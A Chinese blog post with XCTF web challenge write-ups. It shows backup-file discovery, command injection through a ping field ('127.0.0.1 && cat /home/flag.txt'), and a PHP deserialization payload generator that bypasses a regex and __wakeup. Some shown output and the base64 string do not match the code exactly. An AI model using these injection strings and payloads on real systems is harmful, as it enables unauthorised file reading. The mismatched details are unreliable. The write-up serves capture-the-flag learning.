XCTF

原创

&#……%@ 于 2020-10-17 15:57:01 发布 111 收藏 1

backup

如果网站存在备份文件，在地址栏最末加上/index.php~或/index.php.bak，即可得到备份文件

命令执行

command1 && command2 先执行 command1，如果为真，再执行 command2
command1 | command2 只执行 command2
command1 & command2 先执行 command2 后执行 command1
command1 || command2 先执行 command1，如果为假，再执行 command2
命令执行漏洞（| || & && 称为 管道符）
题目说小宁只写了 ping 没开 waf（web application firewall），那就可以通过在
ping 命令后面夹带东西来获取 shell 的写入权限，我们可以直接把输入框当作 shell 输入
界面（只不过它提前帮你输入了 ping 四个字母）。
首先构造一个句子： 127.0.0.1 && ls ,填进输入框发过去之后，服务器会执行 ping
命令 和 ls 命令，可以用它来查看当前目录下面都有哪些文件。
于是直接用 127.0.0.1 && find / -name flag.txt，成功，系统返回告诉
我： /home/flag.txt，剩下的就不用多说了。

- 最后直接输入： 127.0.0.1 && cat /home/flag.txt ,
- find命令，find / -name “abc.txt”
- cat命令（查看） cat /abc/cc/abc.txt
- **baby_web**
- 题目提示想想初始页面是哪个，想到index.php，但是输入index.php后发现还是自动跳转到了1.php，猜测可能会有自动跳转的设定，用burp抓包，直接在第一行GET /1.php HTTP/1.1
- 把1.php改成index.php，go一下，flag出现
- **php反序列化（绕过正则以及__wakeup（）函数）**

```php
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
?>
```

先上代码，进去后给了这样一段源码。上网查阅资料了解了__wakeup()、__destruct()、__construct()函数都是魔术方法。
demo类里生命了一个private 变量file，初始值是index.php。var变量是通过get方法传递进来的。传递进来之后对var进行了正则表达式匹配，如果匹配到的话就停止程序，否则反序列化var，得到php代码。最后通过demo类中的__destruct析构函数把file（fl4g.php）的代码高亮显示出来。
wakeup函数会检测file的值，如果不是index.php的话就把它转成index.php。
现在就是有两个问题
1.如何绕过正则表达式
2.如何绕过wakeup函数
正则表达式：preg_match('/[oc]:\d+:/i'，正则匹配这里匹配的是 O:4，我们用 O:+4 即可绕过wakeup函数
具体机制看这个wakeup函数详解

具体说就是当成员属性数目大于实际数目时可绕过wakeup方法。
payload:

```php
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}

$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
echo '<br/>';
$b=str_replace(':1:',':6:',$b);
$b=str_replace(':4:',':+4:',$b);
echo $b;
echo '</br>';
$c=base64_encode($b);
echo $c;
?>
```

/输出：

O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}

O:+4:“Demo”:2:{s:10:“Demofile”;s:8:“fl4g.php”;}

TzorNDoiRGVtbyl6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

把最后这段base的值传入进网址即可得到flag。